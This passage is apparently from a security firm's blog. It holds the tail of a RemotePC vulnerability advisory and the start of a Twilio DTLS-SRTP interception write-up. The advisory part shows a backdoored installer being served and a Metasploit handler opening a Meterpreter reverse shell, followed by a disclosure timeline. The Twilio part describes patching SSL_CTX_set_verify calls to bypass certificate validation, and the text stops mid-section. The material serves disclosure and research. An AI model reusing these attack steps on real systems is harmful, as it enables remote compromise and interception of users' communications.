style="font-family:monospace;">mv RemotePCbd.exe /tmp/downloads/RemotePC.exe</div></div> <p>When we serve the malicious executable while intercepting the RemotePC client communications, we obtain a reverse shell on the victim's computer:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">./msfconsole -q<br /> [*] Starting persistent handler(s)...<br /> msf5 &gt; use exploit/multi/handler<br /> msf5 exploit(multi/handler) &gt; set payload windows/meterpreter/reverse_tcp<br /> payload =&gt; windows/meterpreter/reverse_tcp<br /> msf5 exploit(multi/handler) &gt; set LPORT 4444<br /> LPORT =&gt; 4444<br /> msf5 exploit(multi/handler) &gt; set LHOST 192.168.1.29<br /> LHOST =&gt; 192.168.1.29<br /> msf5 exploit(multi/handler) &gt; set ExitOnSession false<br /> ExitOnSession =&gt; false<br /> msf5 exploit(multi/handler) &gt; run -j<br /> [*] Exploit running as background job 0.<br /> [*] Started reverse TCP handler on 192.168.1.29:4444<br /> [*] Sending stage (179779 bytes) to 192.168.1.13<br /> [*] Meterpreter session 3 opened (192.168.1.29:4444 -&gt; 192.168.1.13:50610) at 2019-08-13 16:11:12 +0200<br /> msf5 exploit(multi/handler) &gt; sessions -i 3<br /> [*] Starting interaction with 3...<br /> <br /> meterpreter &gt; sysinfo<br /> Computer &nbsp; &nbsp; &nbsp; &nbsp;: WIN7TARGET<br /> OS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: Windows 7 (Build 7601, Service Pack 1).<br /> Architecture &nbsp; &nbsp;: x64<br /> System Language : en_US<br /> Domain &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: WORKGROUP<br /> Logged On Users : 2<br /> Meterpreter &nbsp; &nbsp; : x86/windows</div></div> <h2><a id="user-content-snooping-on-remote-desktop" href="#snooping-on-remote-desktop" name="snooping-on-remote-desktop" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Snooping on Remote Desktop</h2> <p>We did not investigate how to inject arbitrary keystrokes and mouse events within the established session, but we are pretty confident it can be done with little reverse engineering effort. Observing remotely accessed desktop can be done by carving MPEG frames out of the decapsulated stream.</p> <h2><a id="user-content-conclusion" href="#conclusion" name="conclusion" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> <p>As explained in the introduction, all versions prior to 7.6.26-28/04/20 are vulnerable. We strongly recommend anyone using RemotePC to update to the latest version available at <a rel="noopener noreferrer" target="_blank" href="https://www.remotepc.com/download.htm">https://www.remotepc.com/download.htm</a></p> <p>Watch out for the exact release date because RemotePC published different releases with the same version number. For example, version 7.6.26 was release 6 times:</p> <ul> <li>7.6.26 04/28/2020</li> <li>7.6.26 04/22/2020</li> <li>7.6.26 04/15/2020</li> <li>7.6.26 04/08/2020</li> <li>7.6.26 04/03/2020</li> <li>7.6.26 03/30/2020</li> </ul> <p>We also recommend you not to trust any release note published by Remote PC :)</p> <p><img src="https://www.gremwell.com/sites/default/files/remotepc_release_notes.png" alt="release_note" /></p> <h2><a id="user-content-coordinated-disclosure-timeline" href="#coordinated-disclosure-timeline" name="coordinated-disclosure-timeline" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Coordinated Disclosure Timeline</h2> <ul> <li>**02/09/2019**: Escalated to the vendor via support ticket.</li> <li>**05/02/2020**: Nothing happened for 5 months. We re-notify vendor, this time enforcing 90 days disclosure policy.</li> <li>**06/02/2020**: Checked latest version (7.6.23), still affected by vulnerability</li> <li>**10/02/2020**: RemotePC support says &quot;We have forwarded this to our back-end technical team for further analysis. We will contact you with an update as soon as we have one.&quot;</li> <li>**19/02/2020**: RemotePC support says &quot;Our team is working on this. We will keep you posted after we get an update.&quot;&quot;</li> <li>**20/02/2020**: RemotePC says &quot;Our security team is reviewing the points and we will update soon.&quot;</li> <li>**17/04/2020**: RemotePC states that they fixed the issue in latest release (7.6.26-15/04/20). Turns out it's not.</li> <li>**22/04/2020**: RemotePC states that they fixed the issue in latest release (7.6.26-22/04/20). Turns out it's not.</li> <li>**04/05/2020**: RemotePC states that they fixed the issue in latest release (7.6.26-28/04/20). Turns out it is !</li> <li>**05/05/2020**: End of 90 days.</li> <li>**06/05/2020**: Advisory release.</li> </ul></div> <span><span lang="" about="/user/420" typeof="schema:Person" property="schema:name" datatype="">quentin</span></span> <span>Fri, 05/08/2020 - 10:38</span> Fri, 08 May 2020 08:38:49 +0000 quentin 959 at https://www.gremwell.com Understanding DTLS Usage in VoIP Communications https://www.gremwell.com/blog/dtls-srtp <span>Understanding DTLS Usage in VoIP Communications</span> <div><ul class="table-of-contents"> <li> <p><a href="#introduction">Introduction</a></p> </li> <li> <p><a href="#tldr">TL;DR</a></p> </li> <li> <p><a href="#twilio-platform">Twilio Platform</a></p> <ul> <li> <p><a href="#preparing-custom-setup">Preparing Custom Setup</a></p> </li> <li> <p><a href="#traffic-interception-and-analysis">Traffic Interception and Analysis</a></p> <ul> <li> <p><a href="#information-gathering">Information Gathering</a></p> </li> <li> <p><a href="#dtls-demultiplexing">DTLS Demultiplexing</a></p> </li> <li> <p><a href="#intercepting-traffic-to-chundermglltwiliocom">Intercepting Traffic to chunderm.gll.twilio.com</a></p> </li> <li> <p><a href="#signalling-traffic">Signalling Traffic</a></p> </li> <li> <p><a href="#intercepting-dtls-srtp">Intercepting DTLS-SRTP</a></p> </li> <li> <p><a href="#terminating-dtls-with-srtp-extension">Terminating DTLS with SRTP Extension</a></p> </li> <li> <p><a href="#putting-it-all-together">Putting It All Together</a></p> </li> <li> <p><a href="#spoofing-dtls-certificate-fingerprint">Spoofing DTLS Certificate Fingerprint</a></p> </li> </ul> </li> <li> <p><a href="#conclusion">Conclusion</a></p> </li> </ul> </li> <li> <p><a href="#wire">Wire</a></p> <ul> <li> <p><a href="#setup">Setup</a></p> </li> <li> <p><a href="#traffic-analysis">Traffic Analysis</a></p> </li> <li> <p><a href="#tls-certificates-validation">TLS Certificates Validation</a></p> </li> <li> <p><a href="#media-flow-analysis">Media Flow Analysis</a></p> </li> <li> <p><a href="#conclusion-1">Conclusion</a></p> </li> </ul> </li> </ul> <h2><a id="user-content-introduction" href="#introduction" name="introduction" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Introduction</h2> <p>When working on a mobile application security assessment we noted an unusual traffic flow. This was a DTLS handshake coming from a remote server to the mobile application listener. As we always pay close attention to transport security implementation in the applications we test, we were about to verify if certificates are properly validated in the observed case. However, it was not that simple.</p> <p>The desire to test client-side TLS certificates validation led us to: development of custom tools, interception and digging through various types of network traffic, reading through RFC documents and even patching of binary files. Now we understand that we were facing DTLS handshake initiated to derive keys to secure media communications between parties, following WebRTC recommendations.</p> <p>In this article we describe what we did, how we did that and what obstacles we had to overcome. This exercise helped us to formulate a methodology to test some aspects of WebRTC-capable applications from a security standpoint.</p> <h2><a id="user-content-tldr" href="#tldr" name="tldr" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>TL;DR</h2> <p>For readers who want a short summary of this article we suggest to jump to the conclusion section. In this case the most valuable part is the description itself as it provides a methodology applicable to similar cases. We also developed some tools which helped us during this assessment. However, they can only be applied to perform similar exercises and quite useless as a standalone software.</p> <h2><a id="user-content-twilio-platform" href="#twilio-platform" name="twilio-platform" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Twilio Platform</h2> <h3><a id="user-content-preparing-custom-setup" href="#preparing-custom-setup" name="preparing-custom-setup" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Preparing Custom Setup</h3> <p>We noted that the application we were initially testing uses Twilio platform to make voice calls. The Android build uses Twilio's Java module and corresponding native library. In order to avoid hitting our customer's infrastructure while performing our tests we decided to deploy our own solution. This way we can minimise the study surface and have full control over the software behaviour.</p> <p>Twilio has great introductory articles: <a rel="noopener noreferrer" target="_blank" href="https://www.twilio.com/docs/voice#get-started">getting started for voice applications</a>, <a rel="noopener noreferrer" target="_blank" href="https://www.twilio.com/docs/voice/voip-sdk/get-started">getting started with Android client</a>. They also allow to create a trial account for ~€10 which one can use to make voice calls between test applications. After completing &quot;Getting started&quot; guides your Twilio account will be properly configured, various tokens created, Google Firebase messaging configured. You will also have a working Android mobile application, a web server to route calls and to feed Twilio with your tokens. Same way you can get an iOS application, but in this article we will cover Android only.</p> <p>Note that we were not assessing the whole Twilio solution, we were just interested in voice calls implementation. In that particular case it was enough to get an example Android application configured to use in our setup and install it on two devices. We used the suggested <a rel="noopener noreferrer" target="_blank" href="https://github.com/twilio/voice-quickstart-android">Android quickstart</a> example with the following minor updates:</p> <ul> <li> <code>TWILIO_ACCESS_TOKEN_SERVER_URL</code> pointed to our web server (which was based on another <a rel="noopener noreferrer" target="_blank" href="https://github.com/twilio/voice-quickstart-server-python">example</a>.</li> <li> <code>identy</code> string was set to different values on each device we used for testing;</li> <li> <code>app/google-services.json</code> file was updated after integration with Google Firebase service;</li> <li>we enabled debug logging by adding <code>Voice.setLogLevel(LogLevel.DEBUG);</code> call to <code>onCreate()</code> method of <code>app/src/main/java/com/twilio/voice/quickstart/VoiceActivity.java</code> file.</li> </ul> <p>As we had two mobile applications able to setup voice calls between each other, we started to investigate the network communications they produce.</p> <h3><a id="user-content-traffic-interception-and-analysis" href="#traffic-interception-and-analysis" name="traffic-interception-and-analysis" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Traffic Interception and Analysis</h3> <h4><a id="user-content-information-gathering" href="#information-gathering" name="information-gathering" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Information Gathering</h4> <p>We configured one of the test devices to be connected via WiFi access point setup on our test laptop. This way we observed all communications made by Twilio example application when issuing a phone call.</p> <p>The application was contacting the following domains:</p> <ul> <li> <code>eventgw.twilio.com</code> </li> <li> <code>ers.twilio.com</code> </li> <li>our test web server holding Twilio tokens</li> <li> <code>global.stun.twilio.com</code> </li> <li> <code>chunderm.gll.twilio.com</code> </li> </ul> <p>We noted that traffic towards <code>eventgw.twilio.com</code>, <code>ers.twilio.com</code> and access tokens server follows Android proxy rules. Thus, we observed the corresponding communication using our Burp proxy instance. Its certificate authority was installed on our test device in advance.</p> <p><code>ers.twilio.com</code> was accessed using HTTPS to check and update Twilio registration token. The application informed Twilio about events happening on the device by sending HTTPS POST requests to <code>ers.twilio.com</code> server. There was no interesting data in these communication channels.</p> <p>TLS-protected packets were exchanged with <code>chunderm.gll.twilio.com</code> server over TCP/443. This communication ignored global proxy settings.</p> <p>Then the application sent STUN binding request to <code>global.stun.twilio.com</code> over UDP/3478.</p> <p>After more exchanges with <code>chunderm.gll.twilio.com</code> the application started UDP STUN communication with a server in <code>3.122.181.0/24</code> subnet (approximately). The server IP address and port were different each time we started a call. After STUN registration and binding requests **in the same channel** the application received **incoming** DTLS <code>Client Hello</code> message. You can see this on the following screenshot from Wireshark capture:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/twilio_dtls-handshake.png" alt="img" /></p> <p>DTLS handshake was quickly established, no data packets were sent and traffic with RTP data continued to flow in the very same UDP channel.</p> <p>Our objective was to verify the proper validation of the server's certificate by the client side (Twilio server in this case). In this scenario the role of the server was played by our mobile client.</p> <p>Searching the Internet with traces we already collected revealed that what we observed is DTLS-SRTP protocol, defined in <a rel="noopener noreferrer" target="_blank" href="https://www.rfcreader.com/#rfc5764">RFC5734</a>. The idea here is to use DTLS protocol to derive key material to secure RTP data. DTLS is already defined and implemented, it authorises the remote party and secures sensitive data. When using key exchange algorithms based on elliptic curves, it works fast even on low powered devices. The corresponding packet exchange is described in RFC5764 as follows:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">Client &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Server<br /> <br /> ClientHello + use_srtp &nbsp; &nbsp; &nbsp; --------&gt;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ServerHello + use_srtp<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Certificate*<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ServerKeyExchange*<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CertificateRequest*<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;-------- &nbsp; &nbsp; &nbsp;ServerHelloDone<br /> Certificate*<br /> ClientKeyExchange<br /> CertificateVerify*<br /> [ChangeCipherSpec]<br /> Finished &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; --------&gt;<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;[ChangeCipherSpec]<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;-------- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Finished<br /> SRTP packets &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;-------&gt; &nbsp; &nbsp; &nbsp;SRTP packets</div></div> <p>The SRTP keys are derived with help of a specific DTLS protocol &quot;use<sub>srtp</sub>&quot; extension. The details here are not important to us, except that these keys stay inside DTLS library implementation and not transferred as <code>Application Data</code>. For this reason we will need a specific software to terminate such connections.</p> <p>The security outcome here is that if DTLS certificates are not properly verified then a suitably positioned network-based attacker can obtain keys for encrypted media traffic.</p> <p>The important remaining question is how such certificates can be verified? There is no particular &quot;domain name&quot; here. The client needs to rely on something else that we do not see yet. RFC5764 mentions this in the following passage:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">A DTLS-SRTP session may be indicated by an external signaling<br /> protocol like SIP. &nbsp;When the signaling exchange is integrity-<br /> protected (e.g., when SIP Identity protection via digital signatures<br /> is used), DTLS-SRTP can leverage this integrity guarantee to provide<br /> complete security of the media stream. &nbsp;A description of how to<br /> indicate DTLS-SRTP sessions in SIP and SDP [RFC4566], and how to<br /> authenticate the endpoints using fingerprints can be found in<br /> [RFC5763].</div></div> <p>Obscure, as it often happens with such documents. But it gives us a hint that we have to look into other channels. And we have such a candidate: <code>chunderm.gll.twilio.com</code>. Nevertheless, we have to redirect DTLS handshake to our DTLS server keeping other protocols untouched. Let's solve this problem first.</p> <h4><a id="user-content-dtls-demultiplexing" href="#dtls-demultiplexing" name="dtls-demultiplexing" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>DTLS Demultiplexing</h4> <p>From our observations and RFC5764 specification, DTLS-SRTP traffic is a mix of STUN, DTLS and RTP protocols, all in the same UDP channel. Thus, we can not just forward this traffic to some listener and handle only DTLS packets. This will break the application logic.</p> <p>We need a proxy tool which normally just redirects traffic between two endpoints. When it catches DTLS packets it forwards them to our fake listener. The responses have to be delivered back to their intended destination. Thus, the remote side and the mobile application will exchange STUN and RTP packets as usual but DTLS channel will be handled by us.</p> <p>Determining the packet type is simple, it is described in RFC5764:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +----------------+<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | 127 &lt; B &lt; 192 -|--&gt; forward to RTP<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<br /> packet --&gt; &nbsp;| &nbsp;19 &lt; B &lt; 64 &nbsp;-|--&gt; forward to DTLS<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;|<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; B &lt; 2 &nbsp; -|--&gt; forward to STUN<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +----------------+</div></div> <p>The following describes the traffic flows our proxy has to handle:</p> <div class="geshifilter"><div class="text geshifilter-text" style="font-family:monospace;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +---------------+<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; demux tool &nbsp;|<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; |<br /> mobile &lt;--&gt; +- STUN/RTP --*-+ &lt;--&gt; &nbsp; original<br /> &nbsp;app &nbsp; &nbsp; &nbsp; &nbsp;| &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; / | &nbsp; &nbsp; &nbsp;destination<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; DTLS | &nbsp;|<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+--+ &lt;--&gt; &nbsp;fake DTLS<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp;server<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +---------------+</div></div> <p>This was implemented in quick-and-dirty style using Go and can be grabbed from <a rel="noopener noreferrer" target="_blank" href="https://github.com/gremwell/dtls-srtp-demux">this repo</a>.</p> <p>This proxy requires the following parameters:</p> <ul> <li>Socket to listen on. This can be anything, we just redirect traffic to it using firewall.</li> <li>Fake DTLS server address. We fully control this parameter.</li> <li>Original destination. Well, here we have a problem. In our case it is different each time, so we have to figure out this parameter in runtime. This is covered in the next section.</li> </ul> <h4><a id="user-content-intercepting-traffic-to-chundermglltwiliocom" href="#intercepting-traffic-to-chundermglltwiliocom" name="intercepting-traffic-to-chundermglltwiliocom" class="heading-permalink" aria-hidden="true" title="Permalink"><svg class="heading-permalink-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Intercepting Traffic to chunderm.gll.twilio.com</h4> <p>From prior observations it became clear that essential information is transmitted inside TLS-protected data with <code>chunderm.gll.twilio.com</code> server (port 443). Unfortunately for us, the application properly verified TLS certificates. We were not able to bypass it with <a rel="noopener noreferrer" target="_blank" href="https://repo.xposed.info/">Xposed</a> modules or <a rel="noopener noreferrer" target="_blank" href="https://www.frida.re/">Frida</a> with <a rel="noopener noreferrer" target="_blank" href="https://github.com/sensepost/objection">objection</a> framework.</p> <p>The application uses <code>libtwilio_voice_android_so.so</code> native library which includes (but not linked to) <a rel="noopener noreferrer" target="_blank" href="https://github.com/resiprocate/resiprocate.git">resiprocate</a> and <a rel="noopener noreferrer" target="_blank" href="https://www.chromium.org/Home/chromium-security/boringssl">boringssl</a> sources. Thus, we can not just handle calls with Frida. In this situation we had to go the binary patching way.</p> <p>We used <a rel="noopener noreferrer" target="_blank" href="https://ghidra-sre.org/">Ghidra</a> project for decompiling and patching. Binary patching is not well supported by Ghidra (yet?) but it is possible to overcome it with <a rel="noopener noreferrer" target="_blank" href="https://github.com/schlafwandler/ghidra_SavePatch">SavePatch</a> external script.</p> <p>We patched calls (five in total) to <code>SSL_CTX_set_verify</code> function (address <code>0x0026786c</code>) which sets certificate verification mode in its second argument. To avoid verification this parameter has to be zero. You can see this in the following illustrations.</p> <p><code>SSL_CTX_set_verify</code>, the entry #1, original:</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/set_verify_call_1_orig.png" alt="img" /></p> <p><code>SSL_CTX_set_verify</code>, the entry #1, patched</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/set_verify_call_1_patched.png" alt="img" /></p> <p><code>SSL_CTX_set_verify</code>, the entry #2, original</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/set_verify_call_2_orig.png" alt="img" /></p> <p><code>SSL_CTX_set_verify</code>, the entry #2, patched</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/set_verify_call_2_patched.png" alt="img" /></p> <p><code>SSL_CTX_set_verify</code>, the entry #3, original</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/set_verify_call_3_orig.png" alt="img" /></p> <p><code>SSL_CTX_set_verify</code>, the entry #3, patched</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/set_verify_call_3_patched.png" alt="img" /></p> <p><code>SSL_CTX_set_verify</code>, the entry #4, original</p> <p><img src="https://www.gremwell.com/sites/default/files/dtls-srtp-data/set_verify_call_4_orig.png" alt="img" /></p> <p><code>SSL_CTX_set_verify</code>, the entry #4, patched</p> <p><img 